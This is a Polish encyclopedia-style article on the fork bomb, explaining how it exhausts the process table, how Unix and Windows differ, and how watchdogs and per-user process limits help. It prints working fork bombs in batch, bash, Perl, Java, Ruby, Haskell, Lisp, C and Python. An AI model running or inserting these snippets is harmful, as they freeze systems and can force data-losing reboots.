Share to: share facebook share twitter share wa share telegram print page

Fork-bomba

Idea fork-bomby opiera się na rozmnożeniu procesów, aż do wykorzystania dostępnych zasobów.

Fork-bomba (ang. fork bomb) – rodzaj ataku Denial of Service na systemy komputerowe.

Implementacja ataku

Charakterystyka

Podstawowa implementacja fork-bomby jest nieskończoną pętlą, która uruchamia kolejne kopie tego samego procesu. Atak opiera się na założeniu, że w środowisku wieloprocesowym tylko pewna liczba procesów może być efektywnie wykonywana naraz. Atak polega na bardzo szybkim „rozmnożeniu” kopii programu (fork to nazwa funkcji systemowej służącej do duplikowania procesów) w celu wypełnienia tablicy procesów systemu operacyjnego[1][2]. W takiej sytuacji wywołanie nowego procesu (mającego na celu np. zabicie procesów bomby) jest wstrzymane do czasu zwolnienia choćby jednego wpisu, co jednak jest mało prawdopodobne, ponieważ każdy proces bomby jest gotów w tym momencie się rozmnożyć.

Ponieważ każdy z procesów bomby wykonuje jakiś kod (nie usypia się), planista systemowy każdemu z nich przydziela czas procesora, co praktycznie zatrzymuje działanie systemu. Jedną z technik obrony przed fork-bombami jest ustalenie górnego limitu procesów, jakie może utworzyć dany proces lub użytkownik (dotyczy to również jego dalszych potomków).

Porównanie ataku w systemach Windows oraz Unix

W systemach z rodziny Unix, fork bomby przeważnie używają wywołania funkcji fork[2]. Ponieważ procesy utworzone przez bombę są kopiami programu „pierwotnego”, w momencie kolejnych wykonań zaczynają także tworzyć kopie samych siebie; w efekcie dochodzi do wykładniczego wzrostu ilości procesów. Ponieważ współczesne systemy Unix przeważnie korzystają z opcji kopiowania przy zapisie przy tworzeniu nowych procesów wywołaniem fork[3], bomba zazwyczaj nie zużywa dużej ilości pamięci.

Systemy Microsoft Windows nie posiadają funkcji, będącej odpowiednikiem wywołania fork w systemach Unix[4]; zatem fork bomba na takim systemie musi tworzyć nowy proces zamiast kopiować istniejący.

Przykłady fork-bomb

:loop
start %0
goto loop

Krótsza wersja:

%0|%0
:(){ :|:& };:

Wyjaśnienie: zdefiniowana jest tutaj funkcja o nazwie „:” nie przyjmująca żadnego parametru. W swoim ciele (ograniczanym przez "{" i "}") wywołuje się rekurencyjnie dwukrotnie, przekierowując wyjście pierwszego wywołania na wejście drugiego wywołania poprzez mechanizm nienazwanych potoków (pipes, „|”) i przechodzi do tła – „&” – : dzięki czemu zabicie procesu-rodzica nie zabije procesów-potomków. Średnik kończy definicję funkcji, a końcowy dwukropek jest jej pierwszym wywołaniem. Poniżej znajduje się bardziej przejrzysty zapis (zmieniono nazwę funkcji):

bomba()
{
   bomba | bomba &
};
bomba
perl -e "fork while fork"
public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}
loop { fork { load(__FILE__) } }

Alternatywna postać:

loop do
    fork do
        load(__FILE__)
    end
end
import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb
(loop (#_fork))

C:

#include <unistd.h>

int main(void)
{
    while(1) fork();
}
import os
while os.fork() == 0:
    os.fork()

Trudność naprawy

Kiedy fork-bomba zostanie poprawnie uruchomiona, odzyskanie sprawności systemu może nie być możliwe bez ponownego uruchomienia, ponieważ jedynym sposobem na zniszczenie fork-bomby jest zabicie wszystkich jej procesów. Próba użycia programu do zabicia złośliwych procesów zwykle potrzebuje utworzenia odrębnego procesu, co może się nie udać, gdy nie ma wolnych miejsc w tablicy procesów lub wolnej pamięci. Może wymagać restartu lub wyłączenia.

Automatycznie może naprawić go watchdog. Programowy watchdog linuksa, przy ustawionym ograniczeniu liczby oczekujących procesów (odkomentowaniu linii zaczynających się od „max-load”), możliwie łagodnie zrestartuje system.

Metoda sprawdzona na Debianie poleceniem[5]:

:(){ :|:& };:

po zmianie ustawień w zbiorze /etc/watchdog.conf na:

max-load-1       = 120
max-load-5       =  90
max-load-15      =  30
min-memory       =   1

Zapobieganie

Jedną z możliwości zapobieżenia fork-bombie jest ustanowienie limitu liczby procesów, które może uruchomić użytkownik. Gdy proces próbuje utworzyć inny proces, a jego rodzic posiada już więcej niż przewiduje maksimum, sklonowanie nie zachodzi. Maksimum powinno być wystarczająco niskie, aby w razie zaatakowania maszyny przez wielu użytkowników naraz pozostawić wystarczającą ilość wolnych zasobów dla uniknięcia katastrofy.

Przypisy

  1. Nong Ye: Secure Computer and Network Systems: Modeling, Analysis and Design. 2008, s. 16. ISBN 0-470-02324-4.
  2. a b Dong Jielin: Network Dictionary. 2007, s. 200. ISBN 1-60267-000-5.
  3. D. M. Dhamdhere: Operating Systems: A Concept-based Approach. 2006, s. 285. ISBN 0-07-061194-7.
  4. Mark Hammond: Python Programming On Win32: Help for Windows Programmers. 2000, s. 35. ISBN 1-56592-621-8.
  5. Kontrola działania watchdoga

This information is adapted from Wikipedia which is publicly available.

Read other articles:

Mela della valle del GiovencoOriginiLuogo d'origine Italia RegioneAbruzzo Zona di produzioneOrtona dei Marsi, Valle del Giovenco DettagliCategoriaortofrutticolo RiconoscimentoP.A.T. SettoreProdotti vegetali allo stato naturale o trasformati La mela della valle del Giovenco è una mela autoctona riconosciuta tra i Prodotti agroalimentari tradizionali abruzzesi. La coltivazione degli ecotipi di melo è diffusa nel territorio montano di Ortona dei Marsi e in tutta la valle del Giovenco ad oltr…

Map all coordinates using: OpenStreetMap Download coordinates as: KML GPX (all coordinates) GPX (primary coordinates) GPX (secondary coordinates) Suburb of Cairns Region, Queensland, AustraliaBarron GorgeQueenslandBarron Gorge, 2017Barron GorgeCoordinates16°52′54″S 145°39′52″E / 16.8816°S 145.6644°E / -16.8816; 145.6644 (Barron Gorge (centre of locality))Population0 (2016 census)[1] • Density0.00/km2 (0.00/sq mi)Postcode(s)4870…

Cities in Motion 2 Разработчик Colossal Order Издатель Paradox Interactive Часть серии Cities in Motion[d][1] Дата выпуска 2 апреля 2013 года Жанр Экономический симулятор Технические данные Платформы Linux, Windows и macOS Движок Unity Режим игры Одиночная игра, Сетевая игра Языки английский[2] и н

BánicaSan Francisco de Bánica   Cidade   Localização BánicaSan Francisco de BánicaLocalização de na República Dominicana Coordenadas 19° 05' N 71° 41' O País República Dominicana Província Elías Piña San Francisco de Bánica ou simplesmente Bánica, é uma cidade da República Dominicana pertencente à província de Elías Piña. Sua população estimada em 2012 era de 7 856 habitantes.[1] Referências ↑ Censo 2012 de población y vivienda, Ofic…

هذه المقالة يتيمة إذ تصل إليها مقالات أخرى قليلة جدًا. فضلًا، ساعد بإضافة وصلة إليها في مقالات متعلقة بها. (أبريل 2023) ابيضاض الدم اللمفاوي التائي الحاد نوع من ابيضاضات الدم اللمفاوية الحادة ينتج عن تنشؤ خبيث عدواني في نخاع العظام. ابيضاض الدم اللمفاوي الحاد حالة تتراكم فيها خ…

Coordenadas: 46° 37' N 24° 8' EZau de CâmpieNome local (ro) Zau de CâmpieGeografiaPaís  RoméniaJudeț MureșSede Zau de Câmpie (d)Área 50,15 km2Altitude 307 mCoordenadas 46° 36′ 09″ N, 24° 09′ 19″ LDemografiaPopulação 3 108 hab. (2021)Densidade 62 hab./km2 (2021)FuncionamentoEstatuto comunas da RoméniaPresidente Alexandru Iurian (d) (a partir de 2008)Contem as localidades Zau de Câmpie (d)Bărboși (d)Botei (d)Bujor-Ho…

德國國防軍陸軍第293步兵師存在時期1940年2月至1943年11月國家或地區 納粹德國部門陸軍種類步兵規模師 德國國防軍陸軍第293步兵師(德語:293. Infanterie-Division)是納粹德國國防軍陸軍的一個步兵師。該師於1940年2月組建[1]。 該師組建後,首次作戰為參與1940年入侵法國行動。1941年6月,該師參與巴巴羅薩行動,此後一直在東線作戰。 該師最後於1943年11月在烏曼遭受重

Call Me ThiefPoster filmSutradara Daryne Joshua ProduserDitulis oleh John W. Fredericks PemeranSandi SchultzTanggal rilis 2 September 2016 (2016-09-02) Durasi150 menitNegara Afrika Selatan Bahasa Afrikaans Pendapatankotor$236,923[1] Call Me Thief (bahasa Afrikaans: Noem My Skollie) adalah sebuah film kejahatan Afrika Selatan 2016 garapan Daryne Joshua. Film tersebut terpilih menjadi perwakilan Amerika Serikat untuk Film Berbahasa Asing Terbaik (Academy Award) di Academy Awards k…

Network diagram showing interlocks between various U.S. corporations/institutions, and four major media/telecom corporations (circled in red). Network diagram showing interlocks of the board members of American International Group (AIG), from 2004 with other U.S. corporations. Network diagram showing interlocks between various U.S. corporations and institutions and the Council on Foreign Relations, in 2004 Interlocking directorate refers to the practice of members of a corporate board of directo…

Tuias    Freguesia portuguesa extinta   Localização TuiasLocalização de Tuias em Portugal Continental Mapa de Tuias Coordenadas 41° 10' 36 N 8° 09' 27 O município primitivo Marco de Canaveses município (s) atual (is) Marco de Canaveses Freguesia (s) atual (is) Marco História Extinção 28 de janeiro de 2013 Características geográficas Área total 6,46 km² População total (2011) 4 094 hab. Densidade 633,7 ha…

أنا وأمي أنا وأمي  تاريخ الصدور 29 أغسطس 1960 مدة العرض 105 دقيقة البلد الجمهورية العربية المتحدة اللغة الأصلية العربية الطاقم المخرج عباس كامل الإنتاج كليوباترا فيلم قصة موسى صبري سيناريو وحوار عباس كامل البطولة تحية كاريوكارشدي أباظةعواطف يوسف صناعة سينمائية تصوير سينمائ

ثري كوم3Com Corporationالشعارمعلومات عامةالجنسية الولايات المتحدة التأسيس 1979الاختفاء 12 أبريل 2010 النوع شركة عامةالشكل القانوني شركة عمومية محدودة المقر الرئيسي ماساتشوستس، الولايات المتحدة الأمريكيةموقع الويب 3com.com (الإنجليزية) المنظومة الاقتصاديةالشركة الأم Aruba Networks (en) الصناع

Detective Conan: Hannin no Hanzawa-sanSampul dari volume pertama名探偵コナン 犯人の犯沢さん(Meitantei Conan: Hannin no Hanzawa-san)GenreKomedi MangaPengarangMayuko KanbaPenerbitShogakukanImprintShōnen Sunday ComicsMajalahShōnen Sunday SuperDemografiShōnenTerbitJuli 2017 – sekarangVolume5 (Daftar volume)  Portal anime dan manga Detective Conan: Hannin no Hanzawa-san (Jepang: 名探偵コナン 犯人の犯沢さんcode: ja is deprecated , Hepburn: Meitantei Konan Hannin…

Федеральна служба Російської Федерації з контролю за обігом наркотиківрос. Федеральная служба Российской Федерации по контролю за оборотом наркотиков (ФСКН)     Загальна інформація: Тип: федеральна служба Юрисдикція:  Росія Дата заснування: 11 березня 2003 Дата лікві

KhalilAl-Malik al-AshrafSultan Mesir dan SuriahBerkuasa12 November 1290 – 14 Desember 1293PendahuluAl-Mansur QalawunPenerusAn-Nasir MuhammadInformasi pribadiKelahirans. 1260anKairo, Kesultanan MamlukKematian14 Desember 1293 (usia awal 30an tahun atau lebih muda)Turuja, BuhayraWangsaQalawuniNama lengkapAl-Malik al-Ashraf Salah ad-Din Khalil ibn QalawunAyahAl-Mansur QalawunIbuQutqutiyaPermaisuriArdukinAnakDua putriAgamaIslam Al-Ashraf Salāh ad-Dīn Khalil ibn Qalawūn (Arab: الملك ال…

1979 film by Peter Bogdanovich Saint JackDirected byPeter BogdanovichScreenplay byPeter BogdanovichHoward SacklerPaul TherouxBased onSaint Jack by Paul TherouxProduced byRoger CormanStarringBen GazzaraDenholm ElliottMonika SubramaniamCinematographyRobby MüllerEdited byWilliam C. CarruthDistributed byNew World PicturesRelease date April 27, 1979 (1979-04-27) Running time112 minutesCountryUnited StatesLanguageEnglishBudget$2 million[1] Saint Jack is a 1979 American drama fi…

Hundreds of copies of a provisional constitution were found among John Brown's papers after his 1859 raid on Harper's Ferry, Virginia. It called for a new state in the Appalachian Mountains, a sort of West Virginia, populated by volunteer freedom fighters and escaped slaves from plantations, which were at lower altitudes. It was introduced into evidence at his trial as evidence of sedition. John Brown also wrote, at about the same time, a little-known Declaration of Liberty, inspired by the U.S.…

コラートCorato 紋章 行政国 イタリア州 プッリャ県/大都市 バーリCAP(郵便番号) 70033市外局番 080ISTATコード 072020識別コード C983分離集落 Oasi di Nazareth, Casa Messori隣接コムーネ #隣接コムーネ参照地震分類 zona 4 (sismicità molto bassa)気候分類 zona D, 1545 GG公式サイト リンク人口人口 48,233 [1] 人 (2019-01-01)人口密度 287.6 人/km2文化住民の呼称 coratini守護聖人 San Cataldo祝祭日 5月1…

For the area in Tai Po called Tai Hang (泰亨), see Tai Hang (Tai Po). Not to be confused with Tai Hang Tung Estate or Tai Hang Sai Estate. This article uses bare URLs, which are uninformative and vulnerable to link rot. Please consider converting them to full citations to ensure the article remains verifiable and maintains a consistent citation style. Several templates and tools are available to assist in formatting, such as reFill (documentation) and Citation bot (documentation). (August 2022…

For the soundtrack, see Death Proof (soundtrack). For the Kate Nash EP, see Death Proof (EP). 2007 American filmDeath ProofAlternative US commercial poster originally and officially created by Troublemaker StudiosDirected byQuentin TarantinoWritten byQuentin TarantinoProduced by Elizabeth Avellán Robert Rodriguez Erica Steinberg Quentin Tarantino Starring Kurt Russell Rosario Dawson Vanessa Ferlito Jordan Ladd Rose McGowan Sydney Poitier Tracie Thoms Mary Elizabeth Winstead Zoë Bell Cinematogr…

Kembali kehalaman sebelumnya

Lokasi Pengunjung: 18.219.177.5